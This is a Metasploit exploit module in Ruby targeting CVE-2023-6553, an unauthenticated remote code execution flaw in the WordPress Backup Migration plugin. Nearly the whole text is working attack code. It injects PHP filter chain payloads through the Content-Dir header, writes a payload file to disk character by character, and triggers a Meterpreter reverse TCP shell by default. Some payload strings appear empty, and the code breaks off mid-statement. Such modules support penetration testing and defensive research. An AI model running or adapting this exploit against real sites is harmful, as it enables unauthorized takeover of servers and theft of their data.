## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HTTP::Wordpress include Msf::Exploit::Remote::HTTP::PhpFilterChain include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WordPress Backup Migration Plugin PHP Filter Chain RCE', 'Description' => %q{ This module exploits an unauth RCE in the WordPress plugin: Backup Migration (<= 1.3.7). The vulnerability is exploitable through the Content-Dir header which is sent to the /wp-content/plugins/backup-backup/includes/backup-heart.php endpoint. The exploit makes use of a neat technique called PHP Filter Chaining which allows an attacker to prepend bytes to a string by continuously chaining character encoding conversions. This allows an attacker to prepend a PHP payload to a string which gets evaluated by a require statement, which results in command execution. }, 'Author' => [ 'Nex Team', # Vulnerability discovery 'Valentin Lobstein', # PoC 'jheysel-r7' # msfmodule ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2023-6553'], ['URL', 'https://github.com/Chocapikk/CVE-2023-6553/blob/main/exploit.py'], ['URL', 'https://www.synacktiv.com/en/publications/php-filters-chain-what-is-it-and-how-to-use-it'], ['WPVDB', '6a4d0af9-e1cd-4a69-a56c-3c009e207eca'] ], 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Platform' => ['unix', 'linux', 'win', 'php'], 'Arch' => [ARCH_PHP], 'Targets' => [['Automatic', {}]], 'DisclosureDate' => '2023-12-11', 'DefaultTarget' => 0, 'Privileged' => false, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] } ) ) register_options( [ OptString.new('PAYLOAD_FILENAME', [ true, 'The filename for the payload to be used on the target host (%RAND%.php by default)', Rex::Text.rand_text_alpha(4) + '.php']), ] ) end def check return CheckCode::Unknown unless wordpress_and_online? wp_version = wordpress_version print_status("WordPress Version: #{wp_version}") if wp_version # The plugin's official name seems to be Backup Migration however the package filename is "backup-backup" check_code = check_plugin_version_from_readme('backup-backup', '1.3.8') if check_code.code != 'appears' return CheckCode::Safe end plugin_version = check_code.details[:version] print_good("Detected Backup Migration Plugin version: #{plugin_version}") CheckCode::Appears end def send_payload(payload) php_filter_chain_payload = generate_php_filter_payload(payload) res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', 'backup-heart.php'), 'method' => 'POST', 'headers' => { 'Content-Dir' => php_filter_chain_payload } ) fail_with(Failure::Unreachable, 'Connection failed') if res.nil? fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 200 response code') unless res.code == 200 end def write_to_payload_file(string_to_write) # Because the payload is base64 encoded and then each character is translated into it's corresponding php filter chain, # the payload becomes quite large and we start to hit limitations due to the HTTP header size. # For example this payload: "", ends up being 7721 characters long. # The payload size limit on the target I was testing seemed to be around 8000 characters. # Using the following: (more elegant solution) exceeds the # size limit which is why I ended up using ", "char" ?> and then after # copying the single_char_filename to a filename with a .php extension to be executed. single_char_filename = Rex::Text.rand_text_alpha(1) string_to_write.each_char do |char| send_payload("") end register_file_for_cleanup(single_char_filename) send_payload("") register_file_for_cleanup(datastore['PAYLOAD_FILENAME']) end def trigger_payload_file res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'wp-content', 'plugins', 'backup-backup', 'includes', datastore['PAYLOAD_FILENAME']), 'method' => 'GET' ) print_warning('The application responded to the request to trigger the payload, this is unexpected. Something may have gone wrong.') if res end def exploit print_status('Writing the payload to disk, character by character, please wait...') # Use double quotes in the payload, not single. write_to_payload_file("